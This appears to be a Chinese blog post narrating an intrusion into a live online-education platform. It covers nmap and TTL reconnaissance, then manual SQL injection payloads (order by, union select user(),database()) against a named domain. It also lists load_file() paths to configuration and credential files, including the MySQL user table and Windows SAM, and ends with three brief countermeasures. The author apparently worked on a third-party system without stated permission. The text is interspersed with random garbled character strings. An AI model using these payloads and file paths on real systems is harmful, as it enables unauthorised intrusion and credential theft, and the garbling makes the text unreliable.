记一次Linux系统PHP注入入侵检测

admin

题记：
+ q5 S9 T- ]2 o) J8 S一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
) G/ {; s+ z7 ?第一步：获取需要的信息
! t# Y) E5 Q5 M+ A由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
3 X% q$ j* q7 L6 R2 o' k" q8 r注：以下为保护特用XXX代替敏感信息
顺手先PING了一下他们的域名：
" I9 t/ O; g( N8 b" L3 }! @! Kping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
5 K( b+ y% p& X$ R5 g7 C64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
; J+ _- Q4 Z% J$ x顺便了解一下TTL，学好基础知识才能一路顺风：
TTL：(Time To Live ) 生存时间
, v' S% ]8 T, A1 o9 O8 ~( f9 d7 B; |" x/ p指定数据包被路由器丢弃之前允许通过的网段数量。
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
/ [& s* `3 K& v6 a/ G, k一个为ICMP请求回显（ICMP Echo Request）
一个为ICMP回显应答（ICMP Echo Reply）
TTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
* R1 M8 m8 v2 {9 u9 [! q  {Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
" s% P4 R9 K/ R& |微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
) g+ f1 D+ W% O5 J" L) g& d当然，返回的TTL值是相同的
但有些情况下有所特殊
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
FreeBSD 4.1, 4.0, 3.4;
/ ]% L6 Z# i8 ^% ?# KSun Solaris 2.5.1, 2.6, 2.7, 2.8;
* k' r  I) E! {, D) fOpenBSD 2.6, 2.7,
NetBSD
HP UX 10.20
" X  G, z2 w. h# D8 xICMP 回显应答的 TTL 字段值为 255
7 ~7 ~; Y- O6 O9 N4 K7 L; @Windows 95/98/98SE
  e6 Q' T& w! Z) I" I6 z( f) YWindows ME
6 O/ }( {3 u/ S! x' v1 ^  @( wICMP 回显应答的 TTL 字段值为 32
* \( [$ Z5 k& e; VWindows NT4 WRKS
0 x' z' b+ O0 i5 n- YWindows NT4 Server
Windows 2000
4 y  A4 C6 s- m$ {' oWindows XP
ICMP 回显应答的 TTL 字段值为 128
. h- u6 |' Z3 p) U& e9 j这样，我们就可以通过这种方法来辨别操作系统
" c, k- l1 }3 @5 E0 x/ V9 ~# qTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
, G, \, W# e  T$ d+ y用NMAP扫描一下：
6 _8 z+ U8 h) vnmap -sT -O XXX.XXX.XXX.XXX
" r* Z& ?" D* K如果没有装WinPcap则会弹出提示：
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
( B/ x1 w) ~+ D, v  Cade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
, s. j' Y% s5 n5 H2 e) mode — Nmap may not function completely
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
& S. B% ^+ Y2 vpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
ersions, you may be able to take iphlpapi.dll from another system and place it i
n your system32 dir (e.g. c:\windows\system32).
% K: b4 |3 c* m/ H  \& h& WQUITTING!
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 x9 [  ^7 F! W, o: D安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
Interesting ports on XXX.XXX.XXX.XXX:
% T( o2 e2 I4 ?  p% A/ x7 ?Not shown: 986 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
5 p. {4 F" s4 A5 P5 h7 i22/tcp   open     ssh
23/tcp   open     telnet
80/tcp   open     http
% w( M( l5 {* H6 [& U" L111/tcp  open     rpcbind
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
) I) e+ [) r$ m* p: Q- k445/tcp  filtered microsoft-ds
513/tcp  open     login
* i( z0 W* x: C514/tcp  open     shell
0 u- P: u; U1 g' ^: N# J593/tcp  filtered http-rpc-epmap
6 h" r& {  R# o# e) [1720/tcp filtered H.323/Q.931
3306/tcp open     mysql
4444/tcp filtered krb524
4 T5 {6 V" R: [, ODevice type: WAP
Running: Linux 2.4.X
OS details: DD-WRT (Linux 2.4.35s)
Network Distance: 13 hops
7 f5 a( J; R" H. ]- I9 t/ G, R看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
7 E, E2 i1 A9 h2 dlogin as:
+ Y' e2 s9 j0 W+ k% xTelnet23端口也是开着的，用telnet 命令链接一下：
4 W- A1 u; ~$ `# E5 H+ gtelnet XXX.XXX.XXX.XXX
: e, U3 I: ?8 e% K% A4 n4 f提示：
1 w1 N( ~* j9 ]5 r) E4 u" z$ }Red Hat Enterprise Linux Server release 5.2 (Tikanga)
Kernel 2.6.18-92.el5PAE on an i686
login:
, B% h" Z. j: x; E; ^获取HTTP头信息：
在本地执行如下PHP代码
8 ]) U$ p, j1 J3 ]<?php
$url = ‘XXX.XXX.XXX.XXX’;
$ |& [: T( k% S' {print_r(get_headers($url));
( c' n" u1 i: }7 C* tprint_r(get_headers($url, 1));
?>
5 |8 E2 y8 m% y' p8 k" D将以上代码保存为PHP文件，执行：
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
8 v% h3 i' A# y0 L* b* A3 A现在可以得出结论：
) ~  K# t5 s7 e5 w; X. b# p系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
内核版本：Kernel 2.6.18-92.el5PAE on an i686
# |# b0 H. t$ kWEB服务器版本：nginx/0.7.61
第二步，开始测试寻找漏洞
. W: P' r4 k. K4 I分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
3 M: n2 i% E7 l4 j1 ^( z' P1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
9 q2 d# c' E$ @3 U9 P/ o( J2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
0 [  g3 I  N6 Q5 w& a* @% |! p: mhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
( x8 o% o# Z4 e/ t: T; ?http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
" o3 `1 |2 N0 y$ d+ L恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
3、手工注入：
  }" |9 b% W# d$ E注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
4 f, I7 h& K* W$ W7 v! H" J, b$ I3.1 猜测当前表字段数
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
此处猜测有个简单的算法，都是有技巧的吗，呵呵
" j$ V8 @2 y& u" |8 ^算法简单如下：
: G$ S8 ]/ L4 b) l第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
0 D/ H% `9 i% I第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
以此来判断，是否过界，配合取中算法猜出字段数。
举例：
  }5 Z: e2 S, {2 d+ uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
此时3则为我们要找的字段数。
. n2 u, |  y) X, i5 `3.2 配合union联合查询字段在页面所位置
# y& Z9 ^" d0 w7 l我们已经知道了字段数为3，此时则可以做如下操作：
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3

这样就可以测试到哪些字段在页面上有所显示了，如图：

: x4 a6 h+ W& t  I9 d3.3 查敏感信息
( J, Q9 }/ o- x; H% D  a这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
  E7 U1 Z! K, W# @4 @- Q' b3.3.1 先查数据库用户、数据库名，以备后用，如图：

得到数据库用户为root、数据库名为DBxx；
3.3.2 查配置文件
) _% m: R0 g' n, i* H查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
! Z7 x( N% S4 m3 I3 `3 j查看文件有一定的条件限制：
欲读取文件必须在服务器上
必须指定文件完整的路径
7 [: U- D/ U8 s3 Z必须有权限读取并且文件必须完全可读
% _* U) ?6 X2 A; P0 p欲读取文件必须小于 max_allowed_packet
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
常用的一些：
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
! n# W& k& Q) M! q) [3 v" W& A% {4 A/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
; r2 M! C. y+ c; \9 ]/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
$ N7 V/ O; {8 T% Z$ O/etc/rsyncd.conf //同步程序配置文件
2 T+ K# |( b: q3 n) h! E/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
% \4 h/ F' A: ~, M6 _4 R5 b/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
, a3 e, F' W* Y; A/etc/issue.net
4 ]$ S/ o" v' ^6 Oc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
/ x, s8 A. |- H5 qc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
( ~! P8 A% {9 _0 Bc:\Program Files\RhinoSoft.com\ServUDaemon.exe
% o2 f: \* Y" ], F9 F2 IC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
, N, {" ?1 o; c' \: p由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
& g/ A/ j7 s3 E5 [0 x* K这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
最后：防范措施
/ p. u, a( U7 f1、修复PHP注入漏洞；
9 j- C* M. W# x2 F# z( P) N2、Mysql使用普通权限的用户；
3、升级linux内核至最新版本；